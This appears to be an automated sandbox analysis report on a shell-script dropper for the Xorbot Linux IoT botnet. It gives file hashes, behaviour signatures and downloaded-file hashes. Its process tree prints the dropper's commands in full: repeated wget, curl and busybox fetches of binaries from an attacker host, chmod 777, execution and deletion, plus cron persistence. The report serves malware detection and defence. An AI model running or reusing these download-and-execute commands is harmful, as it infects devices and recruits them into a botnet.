Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01/03/2025, 03:35

General

  • Target

    7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh

  • Size

    10KB

  • MD5

    0d6abf13920f9568901114a1d17cdfd6

  • SHA1

    8f51702b2844fafb5952fa36d21c2b47de532b5f

  • SHA256

    7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb

  • SHA512

    0e8c146bd5d415028be102875ebb16d2b898f3923252b11cfeb179fd58a8ef36a54772709f514d6297449e8fdb4246740084f9ed93dad9bdd675905cdf67b795

  • SSDEEP

    192:RdZtmvfC3A3k3x3+3e3LjHkJpgL5d5l5uFpY90cva22sYaGiQa3vvLCLuLzm+v0q:RdZtmvfC3A3k3x3+3e3LjHkJpgLHzJ9p

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 33 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh
    /tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh
    1⤵
    • Executes dropped EXE
    PID:701
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:704
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:706
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:747
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:758
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:764
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:765
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:769
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:771
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:783
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:785
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:786
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:787
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:789
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:790
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:791
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:803
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:824
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:825
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:827
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:828
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:829
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:831
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:832
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:833
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:835
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:836
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:837
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:842
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:843
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:844
                      • /bin/rm
                        rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:846
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:847
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:848
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:850
                      • /bin/chmod
                        chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:851
                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                          PID:852
                        • /bin/rm
                          rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                          2⤵
                            PID:854
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:855
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:856
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:858
                          • /bin/chmod
                            chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:859
                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                              PID:860
                            • /bin/rm
                              rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                              2⤵
                                PID:862
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:863
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:864
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:866
                              • /bin/chmod
                                chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • File and Directory Permissions Modification
                                PID:867
                              • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:868
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:870
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                      • Reads runtime system information
                                      PID:871
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:872
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        • Reads runtime system information
                                        PID:873
                                  • /bin/rm
                                    rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                    2⤵
                                      PID:875
                                    • /usr/bin/wget
                                      wget http://conn.masjesu.zip/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:878
                                    • /usr/bin/curl
                                      curl -O http://conn.masjesu.zip/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                      2⤵
                                      • Reads runtime system information
                                      • System Network Configuration Discovery
                                      PID:879
                                    • /bin/busybox
                                      /bin/busybox wget http://conn.masjesu.zip/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                      2⤵
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:881
                                    • /bin/chmod
                                      chmod 777 wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:882
                                    • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                      ./wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                      2⤵
                                        PID:883
                                      • /bin/rm
                                        rm wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                        2⤵
                                          PID:885
                                        • /usr/bin/wget
                                          wget http://conn.masjesu.zip/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:886
                                        • /usr/bin/curl
                                          curl -O http://conn.masjesu.zip/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:887
                                        • /bin/busybox
                                          /bin/busybox wget http://conn.masjesu.zip/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                          2⤵
                                          • System Network Configuration Discovery
                                          • Writes file to tmp directory
                                          PID:889
                                        • /bin/chmod
                                          chmod 777 MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:890
                                        • /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                          ./MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                          2⤵
                                            PID:891
                                          • /bin/rm
                                            rm MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                            2⤵
                                              PID:893
                                            • /usr/bin/wget
                                              wget http://conn.masjesu.zip/bins/j5pF2uRAfRIrxFbSnk6Wcqg8sFoHfAcw0f
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:894

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                            Filesize

                                            111KB

                                            MD5

                                            701e7a55a4f3650f5feee92a9860e5fc

                                            SHA1

                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                            SHA256

                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                            SHA512

                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                            Filesize

                                            117KB

                                            MD5

                                            849fa04ef88a8e8de32cb2e8538de5fe

                                            SHA1

                                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                            SHA256

                                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                            SHA512

                                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                          • /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR

                                            Filesize

                                            54KB

                                            MD5

                                            96fe522865b1f79fb5d0d00b392357cc

                                            SHA1

                                            7d2c01aeb1fe1e99a376077d49d26732947315b3

                                            SHA256

                                            f1ffdbbfe81978085063895da9c6f79fba43c19a4fe2d513f85222236312ad4f

                                            SHA512

                                            4df95d608581f6724d61988035c8b722e86f958b96111d631b4b203e5130c4ed86350d415172bbf418486634487658302a2a945e90be3273453ed3956e9f9942

                                          • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /var/spool/cron/crontabs/tmp.FKR4MS

                                            Filesize

                                            210B

                                            MD5

                                            e4f58109181364330a3ece052f820a68

                                            SHA1

                                            86dedaa01b2bc8df817ec66bce9973f7fb7e924f

                                            SHA256

                                            2f143f5174e4e6cf8045b9a291fecfb7990b8507858d254dc8932f9218fa35f7

                                            SHA512

                                            a5bcee608570a8335d4b7b074688c17d19ac718fa9530d2fbdfeff9899e2be3bb5600860c623c3151e46f0bb1708b8e63fa574f50a511efca7fdc9ceee49989e